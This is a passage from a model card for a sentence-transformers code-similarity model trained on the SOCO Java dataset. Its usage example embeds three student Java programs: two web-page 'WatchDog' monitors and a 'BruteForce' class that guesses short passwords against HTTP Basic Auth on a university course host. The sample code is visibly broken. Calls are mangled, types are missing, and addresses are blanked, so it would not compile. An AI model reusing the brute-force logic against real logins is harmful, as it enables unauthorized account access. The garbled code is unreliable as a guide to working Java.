\n } \n\n catch (IOException e) \n {\n System.err.println(e);\ |
|
\ \n } \n\n }\n\n}" |
|
datasets: |
|
- buelfhood/SOCO_TRAIN_java |
|
pipeline_tag: sentence-similarity |
|
library_name: sentence-transformers |
|
--- |
|
|
|
# SentenceTransformer based on microsoft/unixcoder-base-unimodal |
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
## Model Details |
|
|
|
### Model Description |
|
- **Model Type:** Sentence Transformer |
|
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 --> |
|
- **Maximum Sequence Length:** 512 tokens |
|
- **Output Dimensionality:** 768 dimensions |
|
- **Similarity Function:** Cosine Similarity |
|
- **Training Dataset:** |
|
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) |
|
<!-- - **Language:** Unknown --> |
|
<!-- - **License:** Unknown --> |
|
|
|
### Model Sources |
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
### Full Model Architecture |
|
|
|
``` |
|
SentenceTransformer( |
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel |
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
) |
|
``` |
|
|
|
## Usage |
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
First install the Sentence Transformers library: |
|
|
|
```bash |
|
pip install -U sentence-transformers |
|
``` |
|
|
|
Then you can load this model and run inference. |
|
```python |
|
from sentence_transformers import SentenceTransformer |
|
|
|
# Download from the 🤗 Hub |
|
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-1") |
|
# Run inference |
|
sentences = [ |
|
'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \n\n \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n while(true)\n {\n \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n compare();\n try\n {\n sleep(twentyFourHours);\n }\n catch(InterruptedException e)\n {\n writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n System.exit(0);\n }\n }\n } \n\n\t\n private void compare()\n {\n \n \n \n String watchDogFile = "watchDogHash_rcroft.";\n String watchDogPageFile = "watchDogPage_rcroft.html";\n \n File watchDogLogFile = new File(watchDogFile);\n \n if(!watchDogLogFile.exists())\n {\n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n byte[] newHash = calcHash(targetPage.getPageContents());\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n else\n {\n try\n {\n \n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n \n byte[] oldHash = new byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\n \n DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n inWatchDogFile.print();\n \n \n \n \n if(!java.util.Arrays.equals(oldHash, newHash))\n {\n String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n mail(differences);\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t String differences = "";\n\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t newFile = File.createTempFile("new", "tmp");\n String tempFilePath = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n outFile.print();\n \n \n String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n Process p = Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String line;\n while((line = diffs.readLine()) != null)\n differences += line + "\\n";\n diffs.print();\n newFile.delete();\n\t }\n\t catch(IOException e)\n\t {\n\t writeProgramLog("Exception: " + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void mail(String mailMessage)\n {\n \n Vector emailAddresses = new Vector();\n String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n {\n try\n {\n \n BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n String line;\n while ((line = inWatchDogEmailFile.readLine()) != null)\n {\n line = line.trim();\n if((line != "") && (line != "\\n"))\n emailAddresses.add(line);\n }\n inWatchDogEmailFile.print();\n \t }\n \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog("Exception: " + e);\n \t }\n \t catch(IOException e)\n \t {\n \t writeProgramLog("Exception: " + e);\n \t }\n }\n else\n {\n emailAddresses.add("@yallara.cs.rmit.edu.");\n emailAddresses.add("[email protected].");\n }\n \n if(emailAddresses.size() > 0) \n {\n try\n {\n String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n for(int i = 0; i < emailAddresses.size(); i++)\n {\n String toAddress = (String) emailAddresses.get(i);\n try\n {\n URL mailURL = new URL("mailto: " + toAddress);\n URLConnection mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n mailConnection.setDoOutput(true);\n mailConnection.connect();\n PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n mailWriter.print(": " + toAddress + "\\n");\n mailWriter.print(fromAddress + "\\n");\n mailWriter.print(subject + "\\n");\n mailWriter.print(mailMessage);\n mailWriter.print();\n writeProgramLog("\\tNotification mailed in this run.");\n }\n catch(MalformedURLException e)\n {\n writeProgramLog("Exception: " + e);\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n }\n }\n catch(UnknownHostException e)\n {\n writeProgramLog("Exception: " + e);\n } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.write(newHash, 0, newHash.length);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n } \n \n\t\n private void writePage(String newPage, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.writeBytes(newPage);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog("Exception: " + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String comment)\n {\n String fileName = "watchDogLog_rcroft.txt";\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n outFile.writeBytes(comment + "\\n");\n outFile.flush();\n outFile.print();\n }\n catch(IOException e)\n {\n \n \n System.out.println("Exception: " + e);\n }\n } \n\n\t\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n try\n {\n \n \n \n String urlName = "http://www.cs.rmit.edu./students/";\n \t \tURL targetURL= new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n \n \n connection.connect();\n connection.getResponseCode();\n if(connection.getResponseCode() == 200)\n\t\t {\n\t\t String fileContents = "";\n\t\t BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n String line;\n \t\t while((line = in.readLine()) != null)\n\t\t \t fileContents = fileContents + line + "\\n";\n\t\t in.print();\n\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n \t\t writeProgramLog("Failed connect " + connection.getResponseCode());\n\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog("Exception " + e);\n } \n return tempWebPage;\n } \n \n\t\n private byte[] calcHash(String pageContents)\n {\n byte[] outHash = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance("");\n msg.reset();\n msg.update(pageContents.getBytes());\n outHash = msg.digest();\n msg.reset();\n }\n catch(NoSuchAlgorithmException e)\n {\n writeProgramLog("Exception: " + e);\n }\n return outHash;\n } \n \n} \n', |
|
'\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n static String strImageOutputFile01 = "WebPageImages01.txt";\n static String strImageOutputFile02 = "WebPageImages02.txt";\n\n static String strWebPageOutputFile01 = "WebPageOutput01.txt";\n static String strWebPageOutputFile02 = "WebPageOutput02.txt";\n\n static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n static String strFromEmailDefault = "@.rmit.edu.";\n static String strToEmailDefault = "@.rmit.edu.";\n\n static String strFromEmail = null;\n static String strToEmail = null;\n\n\n\n\n public static void main (String args[])\n \n {\n\n \n \n \n \n \n\n URL url = null;\n HttpURLConnection urlConnection;\n int intContentLength;\n String strWebPageText = "";\n\n String strURL = "http://www.cs.rmit.edu./students/";\n String strPrePend = "http://www.cs.rmit.edu.";\n\n boolean boolURLisOK = true;\n\n\n\n\n\n System.out.println();\n\n\n \n \n tidyUpWatchDogFiles();\n\n\n \n \n \n \n promptForEmailAddresses();\n\n\n\n\n try\n {\n \n \n url = new URL(strURL); \n }\n\n catch(MalformedURLException e)\n {\n System.out.println("ERROR: invalid URL " + strURL); \n System.err.println(e); \n \n boolURLisOK = false;\n url = null;\n } \n\n catch(Exception e)\n {\n System.out.println("Exception"); \n System.err.println(e); \n }\n\n\n System.err.println(); \n\n\n if (boolURLisOK)\n {\n try\n { \n\n \n \n urlConnection = (HttpURLConnection)url.openConnection();\n\n\n \n \n InputStream urlStream = urlConnection.getInputStream();\n\n\n \n \n int intNumRead = urlStream.print();\n String strNewContent; \n\n while (intNumRead != -1)\n {\n intNumRead = urlStream.print();\n if (intNumRead != -1)\n {\n strNewContent = (char)intNumRead + ""; \n strWebPageText += strNewContent;\n }\n }\n\n urlStream.print(); \n\n\n\n \n \n if (strWebPageText != null)\n {\n\n if (fileExists(strWebPageOutputFile01))\n {\n writeTextToFile(strWebPageText, strWebPageOutputFile02); \n }\n\n else\n {\n writeTextToFile(strWebPageText, strWebPageOutputFile01); \n }\n\n\n if (fileExists(strWebPageOutputFile02))\n { \n System.out.println("Output file");\n System.out.println("-----------");\n System.out.println("The output file \'" + \n strWebPageOutputFile02 + \n "\' has NOW BEEN created."); \n System.out.println();\n System.out.println("Comparison");\n System.out.println("----------");\n System.out.println("A text comparison NOW performed " +\n "with the output");\n System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n System.out.println();\n\n\n\n \n \n\n \n \n createDiffFileIfNeeded(strWebPageOutputFile01, \n strWebPageOutputFile02); \n\n\n \n \n if (fileExists(strWatchDogDiffFile_01_02))\n { \n\n System.out.println("Mail (ordinary text comparison)");\n System.out.println("--------------------------------");\n\n if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n {\n sendMailWithDetectedChanges();\n System.out.println("Text diff mail has been sent the \'\' email address.");\n }\n else\n {\n System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n }\n\n }\n\n\n\n \n \n createImageTextFile(strWebPageOutputFile01, strPrePend);\n createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n System.out.println();\n System.out.println("Image text file/s");\n System.out.println("-----------------");\n\n\n if (fileExists(strImageOutputFile01))\n {\n System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n System.out.println("Images from \'" + strImageOutputFile01 + "\' now downloaded using"); \n System.out.println("the Unix \'wget\' command:"); \n\n downloadImages(strImageOutputFile01);\n }\n\n if (fileExists(strImageOutputFile02))\n {\n System.out.println();\n System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n }\n\n System.out.println();\n\n }\n\n else if (fileExists(strWebPageOutputFile01))\n {\n System.out.println("Output file");\n System.out.println("-----------");\n System.out.println("The output file \'" + \n strWebPageOutputFile01 + \n "\' has NOW BEEN created."); \n System.out.println();\n System.out.println("Comparison");\n System.out.println("----------");\n System.out.println("A comparison CANNOT performed " +\n "with this output file");\n System.out.println("because it is the only output file " +\n "in existence.");\n System.out.println();\n }\n\n }\n\n }\n\n catch(Exception e)\n {\n\n boolURLisOK = false;\n\n System.err.println(e);\n } \n\n finally\n { \n urlConnection = null;\n url = null; \n }\n\n }\n\n\n System.out.println();\n\n }\n\n\n\n\n\n\n\n static void tidyUpWatchDogFiles()\n \n {\n\n \n \n\n\n \n \n deleteFile(strWatchDogDiffFile_01_02);\n\n\n \n \n deleteFile(strImageOutputFile01);\n deleteFile(strImageOutputFile02);\n\n\n if (fileExists(strWebPageOutputFile01))\n {\n\n if (fileExists(strWebPageOutputFile02))\n {\n \n \n \n \n \n deleteFile(strWebPageOutputFile01);\n renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n }\n\n }\n\n else\n {\n \n \n \n deleteFile(strWebPageOutputFile02);\n }\n\n }\n\n\n\n\n\n\n\n static void promptForEmailAddresses()\n \n { \n\n\n BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n \n \n System.out.println();\n System.out.println("\'From\' email address");\n System.out.println("--------------------");\n System.out.println("Please enter a \'From\' email address, press Enter for default");\n System.out.print("(default: " + strFromEmailDefault + "): ");\n\n try\n {\n strFromEmail = stdin.readLine();\n }\n catch (Exception e)\n {\n System.err.println(e);\n }\n \n\n System.out.println();\n\n if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n {\n System.out.println(" email address was entered."); \n System.out.println("The \'From\' email address default : " + strFromEmailDefault); \n strFromEmail = strFromEmailDefault;\n }\n\n else\n {\n System.out.println("The entered \'From\' email address is: " + strFromEmail); \n }\n\n\n\n \n \n System.out.println();\n System.out.println("\'\' email address");\n System.out.println("------------------");\n System.out.println("Please enter a \'\' email address, press Enter for default");\n System.out.print("(default: " + strToEmailDefault + "): ");\n\n try\n {\n strToEmail = stdin.readLine();\n }\n catch (Exception e)\n {\n System.err.println(e);\n }\n \n\n System.out.println();\n\n if ( (strToEmail == null) || (strToEmail.length() == 0) )\n {\n System.out.println(" email address was entered."); \n System.out.println("The \'\' email address default : " + strToEmailDefault); \n strToEmail = strToEmailDefault;\n }\n\n else\n {\n System.out.println("The entered \'\' email address is: " + strToEmail); \n }\n\n }\n\n\n\n\n\n\n\n static void writeTextToFile(String strText,\n String strWriteToThisFileName)\n \n {\n\n try\n {\n\n File newFile = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n {\n newFile.delete();\n }\n\n\n BufferedWriter toFile =\n new BufferedWriter(new FileWriter(newFile,\n false));\n\n toFile.write(strText);\n\n toFile.print();\n toFile = null;\n newFile = null;\n\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n System.out.println("File write problem for \'" + \n strWriteToThisFileName +\n "\'."); \n }\n\n }\n\n\n\n\n\n\n\n static void createDiffFileIfNeeded(String strFileName1, \n String strFileName2)\n \n {\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n \n \n try\n {\n\n Process p = Runtime.getRuntime().exec("./diff_files.sh");\n p.waitFor();\t\n\n }\n\n catch (Exception e)\n {\n System.out.println("Shell script exception");\n System.out.println("----------------------");\n System.err.println(e);\n System.out.println("");\n }\n\n }\n\n\n\n\n\n\n\n static void createImageTextFile(String inputFile, String prePend)\n \n {\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n String str;\n String strImage = "";\n String strImageArray[];\n String strInputFromFile = "";\n String strSearchString = "<img src";\n\n boolean boolContinue = true;\n\n int intImageCounter = 0;\n int intStartSearch = 0;\n\n char ch;\n\n\n\n\n\n strImageArray = new String[1000];\n\n\n\n \n \n try\n {\n\n BufferedReader file =\n new BufferedReader(new FileReader(inputFile));\n\n\n while ( (str = file.readLine()) != null)\n {\n strInputFromFile += str;\n }\n\n file.print();\n file = null;\n\n }\n\n catch (Exception e)\n {\n boolContinue = false;\n System.err.println(e); \n }\t\n\n\n\n if (boolContinue)\n {\n\n strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n while (intStartSearch != -1)\n {\n\n intStartSearch += 8;\n\n while ( (strInputFromFile.charAt(intStartSearch) == \' \') ||\n (strInputFromFile.charAt(intStartSearch) == \'=\') ||\n (strInputFromFile.charAt(intStartSearch) == \'\\"\') )\n {\n intStartSearch++; \n }\n\n while ((strInputFromFile.charAt(intStartSearch) != \'\\"\')) \n {\n\n ch = strInputFromFile.charAt(intStartSearch);\n\n strImage += String.valueOf(ch);\n intStartSearch++;\n\n }\n\n\n if (strImage.startsWith("/"))\n strImage = prePend + strImage; \n\n\n intImageCounter++;\n strImageArray[intImageCounter - 1] = strImage;\n\n strImage = "";\n\n intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n }\n\n\n if (inputFile.equals(strWebPageOutputFile01)) \n { \n writeTextArrayToFile(strImageArray, \n strImageOutputFile01,\n intImageCounter);\n }\n else if (inputFile.equals(strWebPageOutputFile02)) \n { \n writeTextArrayToFile(strImageArray, \n strImageOutputFile02,\n intImageCounter);\n }\n\n\n }\n\n }\n\n\n\n\n\n\n\n static void downloadImages(String ImageOutputFile)\n \n {\n\n Process p;\n\n String str;\n String strFileName;\n\n\n\n try \n {\n\n BufferedReader file =\n new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n while ( (str = file.readLine()) != null)\n {\n\n strFileName = getImageFileName(str);\n\n System.out.println(" " + str);\n System.out.println(" file name: " + strFileName); \n\n\n if (fileExists(strFileName))\n deleteFile(strFileName);\n\n\n p = Runtime.getRuntime().exec("wget " + str);\n p.waitFor();\t\n\n }\n\n\n file = null;\n\n }\n\n catch (Exception e)\n {\n System.err.println("downloadingImages: " + e);\n }\n\n }\n\n\n\n\n\n\n\n static String getImageFileName(String imageFileName)\n \n {\n\n \n \n \n\n String strFileName;\n\n int intFileNameLength = imageFileName.length(); \n int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n \n \n while ( (intStartPosOfFileName >= 0) && \n (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n {\n intStartPosOfFileName--; \n }\n\n\n strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n intFileNameLength);\n\n\n return strFileName;\n\n }\n\n\n\n\n\n\n\n static void writeTextArrayToFile(String strTextArray[],\n String strWriteToThisFileName,\n int numberOfImages )\n \n {\n\n boolean boolFirstLineWritten = false;\n\n\n\n try\n {\n\n File newFile = new File(strWriteToThisFileName);\n\n if (newFile.exists())\n {\n newFile.delete();\n }\n\n\n BufferedWriter toFile =\n new BufferedWriter(new FileWriter(newFile,\n false));\n\n for ( int i = 0 ; i < numberOfImages ; i++ )\n {\n\n if (boolFirstLineWritten) \n toFile.newLine();\n else\n boolFirstLineWritten = true;\n \n\n toFile.write(strTextArray[i]);\n\n }\n\n\n toFile.print();\n toFile = null;\n newFile = null;\n\n }\n\n catch(Exception e)\n {\n System.err.println(e.toString());\n System.out.println("File write problem for \'" + \n strWriteToThisFileName +\n "\'."); \n }\n\n }\n\n\n\n\n\n\n\n static boolean fileExists(String strFileName)\n \n {\n\n boolean boolReturnValue;\n File aFile = new File(strFileName);\n\n\n if (aFile.exists())\n boolReturnValue = true;\n else\n boolReturnValue = false;\n \n\n aFile = null;\n\n\n return boolReturnValue;\n\n }\n\n\n\n\n\n\n\n static void deleteFile(String strFileName)\n \n {\n\n\n if (fileExists(strFileName))\n { \n File aFile = new File(strFileName);\n\n try\n {\n aFile.delete();\n }\n\n catch (Exception e)\n {\n System.err.println(e);\n }\n\n\n aFile = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static void renameFile(String strFromFileName, String strToFileName)\n \n {\n\n\n File from = new File(strFromFileName);\n File to = new File(strToFileName);\n\n\n boolean success = from.renameTo();\n\n\n from = null;\n to = null;\n\n }\n\n\n\n\n\n\n\n static getFileSize(String strFileName)\n \n {\n\n lngReturnValue;\n\n\n\n File file = new File(strFileName);\n \n lngReturnValue = file.length();\n\n file = null;\n\n\n return lngReturnValue;\n\n }\n\n\n\n\n\n\n\n static void sendMailWithDetectedChanges()\n \n {\n\n String str;\n String strInputFromFile = null;\n\n\n\n try \n { \n\n\n BufferedReader fromFile =\n new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n while ( (str = fromFile.readLine()) != null)\n {\n strInputFromFile += str;\n }\n\n fromFile.print();\n fromFile = null;\n\n\n \n \n \n SmtpClient smtp = new SmtpClient(); \n\n \n \n smtp.from(strFromEmail); \n\n \n \n smtp.to(strToEmail); \n\n \n \n PrintStream msg = smtp.startMessage(); \n\n \n \n msg.println(": " + strToEmail); \n\n \n \n msg.println("From: " + strFromEmail); \n msg.println("Subject: Change in website content\\n"); \n msg.println(strInputFromFile); \n\n \n \n \n smtp.closeServer(); \n\n } \n\n catch (IOException e) \n {\n System.err.println(e); \n } \n\n }\n\n}', |
|
'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n String password="";\n\n int num =401;\n\n\n public static void main (String[] args) {\n\n String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n \tSystem.err.println (\n \t\t\n \t\t"Usage : java BruteForce <username>");\n \treturn;\n \t\n \t}\n String username = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println (" " + new Date());\n \n System.out.println ("Using BruteForce method attack "+username+"\'s password.Please waiting.......");\n\n for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n for (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n\n double dt =t1-t0;\n\n\n\n System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n System.out.println ("Finish " + new Date());\n \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n\n \t double dt =t1-t0;\n\n\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n \n System.out.println ("Finish " + new Date());\n \n \t return;\n\n }\n\n\n }\n\n}\n}\n System.out.println(" not find the password");\n\n}\n\n public BruteForce (String password, String username){\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n\n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}', |
|
] |
|
embeddings = model.encode(sentences) |
|
print(embeddings.shape) |
|
# [3, 768] |
|
|
|
# Get the similarity scores for the embeddings |
|
similarities = model.similarity(embeddings, embeddings) |
|
print(similarities.shape) |
|
# [3, 3] |
|
``` |
|
|
|
<!-- |
|
### Direct Usage (Transformers) |
|
|
|
<details><summary>Click to see the direct usage in Transformers</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Downstream Usage (Sentence Transformers) |
|
|
|
You can finetune this model on your own dataset. |
|
|
|
<details><summary>Click to expand</summary> |
|
|
|
</details> |
|
--> |
|
|
|
<!-- |
|
### Out-of-Scope Use |
|
|
|
*List how the model may foreseeably be misused and address what users ought not to do with the model.* |
|
--> |
|
|
|
<!-- |
|
## Bias, Risks and Limitations |
|
|
|
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* |
|
--> |
|
|
|
<!-- |
|
### Recommendations |
|
|
|
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* |
|
--> |
|
|
|
## Training Details |
|
|
|
### Training Dataset |
|
|
|
#### soco_train_java |
|
|
|
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) |
|
* Size: 30,069 training samples |
|
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | label | text_1 | text_2 | |
|
|:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
|
| type | int | string | string | |
|
| details | <ul><li>0: ~99.70%</li><li>1: ~0.30%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 451.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 469.18 tokens</li><li>max: 512 tokens</li></ul> | |
|
* Samples: |
|
| label | text_1 | text_2 | |
|
|:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
|
| <code>0</code> | <code><br><br><br><br> <br>import java.io.*;<br>import java.net.*;<br>import java.Runtime;<br>import java.util.*;<br>import java.net.smtp.SmtpClient; <br><br><br><br>public class WatchDog<br><br>{<br><br> static String strImageOutputFile01 = "WebPageImages01.txt";<br> static String strImageOutputFile02 = "WebPageImages02.txt";<br><br> static String strWebPageOutputFile01 = "WebPageOutput01.txt";<br> static String strWebPageOutputFile02 = "WebPageOutput02.txt";<br><br> static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";<br><br> static String strFromEmailDefault = "@.rmit.edu.";<br> static String strToEmailDefault = "@.rmit.edu.";<br><br> static String strFromEmail = null;<br> static String strToEmail = null;<br><br><br><br><br> public static void main (String args[])<br> <br> {<br><br> <br> <br> <br> <br> <br><br> URL url = null;<br> HttpURLConnection urlConnection;<br> int intContentLength;<br> String strWebPageText = "";<br><br> String strURL = "http://www.cs.rmit.edu./students/";<br> String strPrePend = "...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String 